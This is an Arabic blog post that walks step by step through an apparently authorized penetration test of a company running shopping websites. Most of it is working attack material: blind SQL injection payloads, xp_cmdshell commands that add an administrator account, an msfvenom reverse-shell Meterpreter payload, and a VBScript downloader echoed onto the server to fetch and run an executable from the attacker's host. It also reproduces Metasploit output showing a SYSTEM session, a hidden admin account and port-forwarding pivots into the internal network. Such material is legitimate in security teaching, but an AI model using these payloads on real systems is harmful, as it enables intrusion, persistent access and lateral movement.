Real world pentesting scenario I [Arabic]
November 9, 2016
السلام عليكم
أثناء تجولى بالشبكة رأيت العديد من المقالات التى تعتمد فى تطبيقها على البيئات الوهمية وترسخ فى ذهن قارئها أنه من الصعب جدا مواجهة مثلها أثناء عملية اختبار اختراق حقيقية لعدة أسباب
لذلك ارتأيت أن ايكون موضوع مقالى اليوم عن تطبيق عملى لبعض تقنيات الاختراق على هدف حي
لن أقدم جديدا على ما أعتقد
فقط دورى ما هو إلا ربط المعلومات الموجودة لديك مسبقا ببعضها وإثبات امكانية استغلال أيا ما تعرفه حين ما تحتاجه
فى حال تعذر استيعاب جزء معين يمكنك قرائته مرة أخرى ومن ثم الاستفسار عن هذا الجزء
وجب التنويه أن المقال قمت بنشره بالفعل بمنتديات الحماية للأبد وأعدت نشره للإفادة العامة
نبدأ بإسم الله تعالى
الهدف عبارة عن شركة تشرف على مجموعة من مواقع التسوق , الغرض من الاختراق الوصول لأعلى صلاحيات ممكنة وكتابة تقرير كامل عن العملية مع ايضاح مناطق الضعف فى نظام الشركة
أثناء الفحص لموقع تابع للشركة استرعى انتباهى رابط من النوع الذى بإمكانك الجزم أنه مصاب بمجرد النظر
الرابط كان كالتالى
وظيفته فحص حالة الطلب المقدم منك للموقع
نبدأ باختبار سريع للـOrderID parameter
نغير الاستعلام إلى استعلام خاطىء مثل
1 |
order_info.asp?OrderID=xxxxxxxx' and 0x4148!=0x4148-- |
لاحظ أن مكان xxxxxx يوجد order id صحيح
الناتج
نغير الاستعلام الى استعلام صحيح
1 |
OrderID=xxxxxxxx' and 0x4148=0x4148-- |
والنتيجه
تأكدنا من أن الـParameter مصاب بثغرة من نوع Blind sql injection
بعد العديد من الاختبارات لم يتثنى لنا استغلال الثغرة بطريقة أخرى بعيدة عن الحقن الأعمى مما يعنى أنها ستلازمنا فى ما تبقى من المهمه
بعد القيام ب Finger printing سريع بالاضافه لما ظهر لنا خلال الحقن من أخطاء مثلا
Microsoft OLE DB Provider for ODBC Drivers ´íÎó ‘80040e21’
يمكننا الجزم بأن السيرفر Microsoft windows وان خادم قواعد البيانات هو MSSql
يمكننا البدء باستخراج الجداول والاعمدة ومن ثم استخراج بعض البيانات
لكن مع الـBlind injection
سنحتاج العديد من الوقت والمجهود الذين نحن فى غنى كامل عنهم
لذا من الافضل الوصول للهدف سريعا بوسيلة أخرى بعيدة عن الحقن الأعمى توفيرا للوقت
كما يعلم البعض يمكننا تنفيذ system commands فى الsql server فى حال توافر بعض الشروط مثلا أن يكون اليوزر المتصل بالقاعده هو sysadmin
المعروف اختصارا بـSA
لذا فضلت سلك هذا الاتجاه ومحاولت تنفيذ أوامر خاصه بالنظام
يمكنك قرائة هذا المقال الذى كتبه عضوين من فريق CWH Underground
https://www.exploit-db.com/papers/12975/
بعد مراجعته سريعا يمكنك متابعة المقال الخاص بى
الوضع كالتالى
الحقن أعمى مما يعنى أننا لن يمكننا رؤية ناتج الأمر مباشرة
لذا باعتبار قابليتنا لتنفيذ الأوامر على السيرفر , هناك حالتان
1 – تنفيذ الامر بدون الحصول على نتيجة نهائيا (لكن الأمر تم تنفيذه بالفعل)
2 – القيام بإنشاء جدول جديد خاص بنا + عمود يمكننا وضح ناتج تنفيذ الأمر به ومن ثم استخراج الناتج عن طريق الحقن الأعمى كأى جدول آخر
سنأخذ بالحل الثانى باعتبار اننا ربما سنحتاج ان نعرف ناتج أمر ما
نبدأ بإنشاء جدول بإسم Ox4148 يحتوى على عمودين , الأول ID والثاني data
1 |
OrderID=xxxxxxx;CREATE TABLE Ox4148(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))-- |
ومن ثم نرى إن كان لدينا الصلاحيات الكافية لتنفيذ الأوامر عن طريق تنفيذ أمر تجريبى وليكن
1 |
echo "[email protected]" |
ليكون شكل الرابط كالتالى
1 |
OrderID=xxxxxxxxx';DECLARE @r1z VARCHAR(7000);SET @r1z=0x6563686f20223078343134384045672d52317a22;INSERT INTO Ox4148(data) EXEC master..xp_cmdshell @r1z-- |
شرح للاستعلام
قمنا بتعريف متغير جديد r1z
وكانت قيمته هو الأمر المراد تنفيذه بعد ترميزه بالهيكس
SET @r1z=0x6563686f20223078343134384045672d52317a22
ومن ثم القيام بتنفيذ الأمر وعمل insert للناتج داخل الجدول Ox4148 بالعمود data
(يمكننا تنفيذ الأوامر مباشرة دون استخدام الترميز لكن عن نفسى أفضل تفادى الاخطاء قدر الامكان خاصة بالمرحلة القادمة التى سيتضح بها فائدة الهيكس)
النتيجة بعد الخطوتين السابقتين
مما يعنى ان الاستعلامات كانت ناجحة وإلا لقمنا بالحصول على رسالة خطأ من السيرفر
الخطوة التالية هى الحصول على صلاحيات administrator والاتصال بالـremote desktop الخاص بالسيرفر
خطوة سهله للغاية
كل ما علينا القيام بتنفيذ
net user user1 user1pass /add
net localgroup administrators user1 /addومن ثم الاتصال بالسيرفر , لا مشكله على الاطلاق
لكن العقبة التى أمامنا هى الفشل فى الاتصال بالسيرفر مما يعنى أن الجدار النارى الخاص بالسيرفر يقوم بفلترة الاتصالات أو أن المسئول عن النظام قام بتغيير المنفذ الخاص بالاتصال
بعد ايقاف الجدار النارى وفحص المنافذ من 0-65535 بالـnmap لم يجد جديد!!
يتوجب علينا التعمق أكثر والحصول على اتصال أكثر قوه بالسيرفر
من خلال ال meterpreter مثلا
نبدأ بنشاء الpayload الخاص بنا ليتصل بنا من خلال البورت 101
1 |
[email protected]:/lab/isec/intmediate# msfvenom -p windows/meterpreter/reverse_tcp LHOST=88.x.x.x LPORT=101 -f exe > /var/www/html/101.exe |
وماذا بعد؟!
يلزمنا عمل upload للبايلود الخاص بنا للهدف , كيف يمكننا ذلك مع عدم وجود اى وسيلة لرفع الملفات؟!
فى الواقع هناك العديد من الطرق سأختار من بينها ال VBscript
vbscript بسيط يقوم بوظيفة الامر wget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
strUrl = WScript.Arguments.Item(0) StrFile = WScript.Arguments.Item(1) Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 Const HTTPREQUEST_PROXYSETTING_PROXY = 2 Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts Err.Clear Set http = Nothing Set http = CreateObject("WinHttp.WinHttpRequest.5.1") If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") http.Open "GET", strURL, False http.Send varByteArray = http.ResponseBody Set http = Nothing Set fs = CreateObject("Scripting.FileSystemObject") Set ts = fs.CreateTextFile(StrFile, True) strData = "" strBuffer = "" For lngCounter = 0 to UBound(varByteArray) ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) Next ts.Close |
كل ما علينا هو حفظ الملف على سيرفر الهدف بأى اسم وليكن wget.vbs
وتشغيله كالتالىcscript wget.vbs URL output_file_name
عدنا لنقطة البدايه!!! كيف يمكننا رفع الملف على السيرفر؟
بسهوله عن طريق الأمر echo
كالتالى
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs |
بتنفيذ الأوامر السابقة سنحصل على الملف كاملا وجاهزا للاستخدام
ماذا عن تجربة استبدال الكود السابق بالتالى
1 |
echo strUrl = WScript.Arguments.Item(0) > wget.vbs && echo StrFile = WScript.Arguments.Item(1) >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs && echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs && echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs && echo Err.Clear >> wget.vbs && echo Set http = Nothing >> wget.vbs && echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs && echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs && echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs && echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs && echo http.Open "GET", strURL, False >> wget.vbs && echo http.Send >> wget.vbs && echo varByteArray = http.ResponseBody >> wget.vbs && echo Set http = Nothing >> wget.vbs && echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs && echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs && echo strData = "" >> wget.vbs && echo strBuffer = "" >> wget.vbs && echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs && echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs && echo Next >> wget.vbs && echo ts.Close >> wget.vbs |
سيكون الناتج سطر واحد يمكننا تنفيذه بسهوله بدلا من العديد من الاستعلامات التى سنضطر للقيام بها
المشكلة تكمن فى عدد الحروف يا صديقى , جميع استعلاماتنا من النوع GET
مما يعنى أننا ملتزمين بالـUrl length limit الخاص بالسيرفر , وفى حالة ال iis يكون افتراضيا 260 حرف
وما طول الأمر الخاص بنا بعد ترميزه بالهيكس؟
2918 , تخطينا الحدود بمراحل
اذا الحل الأسهل هو حفظ السطور المطلوبه بملف text وعمل سكربت python لتسهيل العملية
نقوم بإنشاء ملف جديد ونحفظ به الأوامر الخاصة بنا
ومن ثم ارسال كل أمر على حده
الآن لحظة التأكد من أن كل ما سبق كلل بالنجاح
سنقوم باستخدام ملف ال vbscript لعمل استعلام للخادم الخاص بنا ومشاهدة اذا ما كان الاستعلام ناجحا ام لا ومن ثم يمكننا تحميل البايلود على الهدف فى حالة النجاح
نقوم ببدأ ال netcat على البورت 80 على السيرفر الخاص بنا
nc -lvp 80ومن ثم تنفيذ الأمر
cscript wget.vbs http://88.xx.xx.xx/wget_test foo
على السيرفر الخاص بالهدف
والنتيجة
تمت محاولة سحب الملف wget_test بنجاح
الان نقوم بسحب البايلود
1 |
cscript wget.vbs http://88.xx.xx.xx/101.exe 101.exe |
ومن ثم القيام بتشغيله (هذه الخطوة تحديدا قامت بإيقافى لوقت طويل لعدم قابلية السيرفر للقيام بتشغيل أيا من ال payloads التى قمت برفعها سواء عن طريق start , call , cscript (for vbs payload) وحتى عمل schedule لتنفيذ الملف الخاص بى)
فى النهاية نجح تشغيل الملف عن طريق
1 |
start /B C:\windows\system32\inetsrv\101.exe |
استخدمت هذا المسار اعتمادا على تجاربى السابقة بالاضافة لمعلوماتى البسيطه للغاية عن خوادم iis
وبالامكان ايضا معرفة المسار عن طريق عمل insert لناتج الامر cd بالجدول الذى قمنا بإنشائه ومن ثم استدعاء الناتج
النتيجة على السيرفر الخاص بنا
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
root@0x4148:~# msfconsole [-] WARNING! The following modules could not be loaded! [-] /root/.msf4/modules/exploits/web/pma.rb: Errno::ENOENT No such file or directory @ rb_sysopen - /root/.msf4/modules/exploits/web/pma.rb +-------------------------------------------------------+ | METASPLOIT by Rapid7 | +---------------------------+---------------------------+ | __________________ | | | ==c(______(o(______(_() | |""""""""""""|======[*** | | )=\ | | EXPLOIT \ | | // \\ | |_____________\_______ | | // \\ | |==[msf >]============\ | | // \\ | |______________________\ | | // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ | | // \\ | ********************* | +---------------------------+---------------------------+ | o O o | \'\/\/\/'/ | | o O | )======( | | o | .' LOOT '. | | |^^^^^^^^^^^^^^|l___ | / _||__ \ | | | PAYLOAD |""\___, | / (_||_ \ | | |________________|__|)__| | | __||_) | | | |(@)(@)"""**|(@)(@)**|(@) | " || " | | = = = = = = = = = = = = | '--------------' | +---------------------------+---------------------------+ Taking notes in notepad? Have Metasploit Pro track & report your progress and findings -- learn more on http://rapid7.com/metasploit =[ metasploit v4.11.5-2015103001 ] + -- --=[ 1500 exploits - 864 auxiliary - 251 post ] + -- --=[ 432 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 88.x.x.x lhost => 88.x.x.x msf exploit(handler) > set lport 101 lport => 101 msf exploit(handler) > run [*] Started reverse handler on 88.x.x.x:101 [*] Starting the payload handler... [*] Sending stage (885806 bytes) to 108.x.x.x [*] Meterpreter session 1 opened (88.x.x.x:101 -> x.x.x.x:55237) at 2016-01-08 12:38:52 -0500 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > run getgui -u ox4148 -p Eg-R1z[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez [email protected][*] Setting user account for logon [*] Adding User: ox4148 with Password: Eg-R1z [*] Hiding user from Windows Login screen [*] Adding User: ox4148 to local group 'Remote Desktop Users' [*] Adding User: ox4148 to local group 'Administrators' [*] You can now login with the created user [*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160108.4100.rc |
بعد التأكد من ايقاف الجدار النارى مرة ثانية كانت النتيجه
الفشل المعتاد
لكن بما أن صلاحياتنا تسمح لنا بالتعمق أكثر فلنرى اذا كانت خدمة ال remote desktop فعالة من الأساس
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
meterpreter > shell Process 23260 created. Channel 4 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\System32>netstat -an | find "LISTEN" netstat -an | find "LISTEN" TCP 0.0.0.0:25 0.0.0.0:0 LISTENING TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:443 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING TCP 0.0.0.0:53254 0.0.0.0:0 LISTENING TCP 0.0.0.0:53255 0.0.0.0:0 LISTENING TCP 0.0.0.0:53256 0.0.0.0:0 LISTENING TCP 0.0.0.0:53339 0.0.0.0:0 LISTENING TCP 172.21.254.8:139 0.0.0.0:0 LISTENING TCP [::]:80 [::]:0 LISTENING TCP [::]:135 [::]:0 LISTENING TCP [::]:443 [::]:0 LISTENING TCP [::]:445 [::]:0 LISTENING TCP [::]:3389 [::]:0 LISTENING TCP [::]:47001 [::]:0 LISTENING TCP [::]:49152 [::]:0 LISTENING TCP [::]:49153 [::]:0 LISTENING TCP [::]:49154 [::]:0 LISTENING TCP [::]:49155 [::]:0 LISTENING TCP [::]:49156 [::]:0 LISTENING TCP [::]:53254 [::]:0 LISTENING TCP [::]:53255 [::]:0 LISTENING TCP [::]:53256 [::]:0 LISTENING TCP [::]:53339 [::]:0 LISTENING |
المنفذ 3389 الخاص بالخدمه مفتوح بالفعل وجاهز لاستقبال الاتصالات من خارج السيرفر!!!!!!!!
لنبدأ بالتعمق فى الـnetwork structure الخاصة بالهدف
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
C:\Windows\System32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 4: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter Local Area Connection 3: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::e15b:acf5:4409:990%15 IPv4 Address. . . . . . . . . . . : 172.21.254.8 Subnet Mask . . . . . . . . . . . : 255.255.255.0 IPv4 Address. . . . . . . . . . . : 172.21.254.81 Subnet Mask . . . . . . . . . . . : 255.255.255.0 IPv4 Address. . . . . . . . . . . : 172.21.254.82 Subnet Mask . . . . . . . . . . . : 255.255.255.0 IPv4 Address. . . . . . . . . . . : 172.21.254.83 Subnet Mask . . . . . . . . . . . : 255.255.255.0 IPv4 Address. . . . . . . . . . . : 172.21.254.84 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.21.254.1 Ethernet adapter Local Area Connection 2: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter Local Area Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{D2D2ACC5-4812-xxx-xxx-0A4462ADA319}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{C9BEF8AF-2E94-xxx-xxx-C630082F8357}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{D7E64189-92FB-473C-AB8C-B783ADD9C129}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{E290D0CD-xxx-44FF-xxx-C9A9011D39A6}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter Teredo Tunneling Pseudo-Interface: Connection-specific DNS Suffix . : IPv6 Address. . . . . . . . . . . : 2001:0:xxx:xxx:cc6:1a5d:53ea:1f7 Link-local IPv6 Address . . . . . : fe80::cc6:1a5d:xxx:1f7%19 Default Gateway . . . . . . . . . : :: |
Pingo!!!!!
الآن اتضحت الأمور
الايبى الذى نحاول الاتصال به ما هو إلا واجهة لشبكة داخليه
يقوم بتوجيه الاتصالات القادمة على المنافذ 80 و 443 لجهاز داخل الشبكه
ولكن لا توجد لديه rules خاصة بالمنفذ 3389 الخاص بالremote desktop
ما العمل؟
Pivoting time
نقوم بعمل التوجيه بأنفسنا
وبما اننا نمتلك جلسة meterpreter لن يستغرق الموضوع طويلا
فقط توجيه الاتصالات القادمة على المنفذ 3389 بالسيرفر الخاص بنا الى الايبى الداخلى الموجود بالهدف باستخدام السيشون التى نملكها
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
C:\Windows\System32>exit meterpreter > portfwd add -l 3389 -p 3389 -r 172.21.254.8 [*] Local TCP relay created: 0.0.0.0:3389 <-> 172.21.254.8:3389 meterpreter > run autoroute -p [*] No routes have been added yet meterpreter > run autoroute -s 172.21.254.0/24 [*] Adding a route to 172.21.254.0/255.255.255.0... [+] Added route to 172.21.254.0/255.255.255.0 via 108.xx.xx.xx [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 172.21.254.0 255.255.255.0 Session 1 meterpreter > route IPv4 network routes =================== Subnet Netmask Gateway Metric Interface ------ ------- ------- ------ --------- 0.0.0.0 0.0.0.0 172.21.254.1 266 15 127.0.0.0 255.0.0.0 127.0.0.1 306 1 127.0.0.1 255.255.255.255 127.0.0.1 306 1 127.255.255.255 255.255.255.255 127.0.0.1 306 1 172.21.254.0 255.255.255.0 172.21.254.8 266 15 172.21.254.8 255.255.255.255 172.21.254.8 266 15 172.21.254.81 255.255.255.255 172.21.254.8 266 15 172.21.254.82 255.255.255.255 172.21.254.8 266 15 172.21.254.83 255.255.255.255 172.21.254.8 266 15 172.21.254.84 255.255.255.255 172.21.254.8 266 15 172.21.254.255 255.255.255.255 172.21.254.8 266 15 224.0.0.0 240.0.0.0 172.21.254.8 266 15 224.0.0.0 240.0.0.0 127.0.0.1 306 1 255.255.255.255 255.255.255.255 127.0.0.1 306 1 255.255.255.255 255.255.255.255 172.21.254.8 266 15 No IPv6 routes were found. meterpreter > portfwd add -l 33892 -p 3389 -r 172.21.254.81[*] Local TCP relay created: 0.0.0.0:33892 <-> 172.21.254.81:3389 meterpreter > portfwd add -l 33893 -p 3389 -r 172.21.254.82[*] Local TCP relay created: 0.0.0.0:33893 <-> 172.21.254.82:3389 meterpreter > |
قمنا بتوجيه الاتصالات القادمة لسيرفرنا على المنفذ 3389 لتتجه الى 172.21.254.8
والقادمة على 33892 الى 172.21.254.81
والقادمة على 33893 الى 172.21.254.82
وبامكاننا المتابعة الى مالانهاية لكن لنبدأ بتجربة الاتصال
نجحنا ويمكننا الآن التعمق أكثر وأكثر داخل الشركة لكن لنترك هذا الجزء لوقت لاحق
بنهاية المقال أرجو أن أكون ساهمت ولو بالقليل فى الدور التوعوى الهادف للنهوض بهذا المجال عربيا والمنافسة فيه عالميا
كما أرجو أن يرسخ لدى كل من قرأ المقال فكرة أنه ما تعلمه لن يضرك مالم ينفعك
اخترت بالمقال هدفا أمكن اختراقه بأساليب شبه بائده ولكنها ما زالت فعالة بكثرة على عكس ما يعتقد الأعضاء كما أن من اسباب اختيارى لهذا الهدف كموضوع هو التأكيد على أهمية ال pivoting وايضاح انها ليست عملية بلا أهمية كما يعتقد العديدين
كما يجب التنويه بأنى لا اقصد بكلامى التقليل من شأن التطبيق على ال virtual environments اطلاقا
بالعكس فهذه البيئات أكثر من جيده للتعلم لكن لا يجب الاكتفاء بها إطلاقا وهذا هو المغزى من الموضوع
هذا وما كان من صواب فمن الله وما كان من خطأ منى ومن الشيطان, والله منه براء
والله ولى التوفيق
حتى وقت آخر,
أحمد
comments powered by Disqus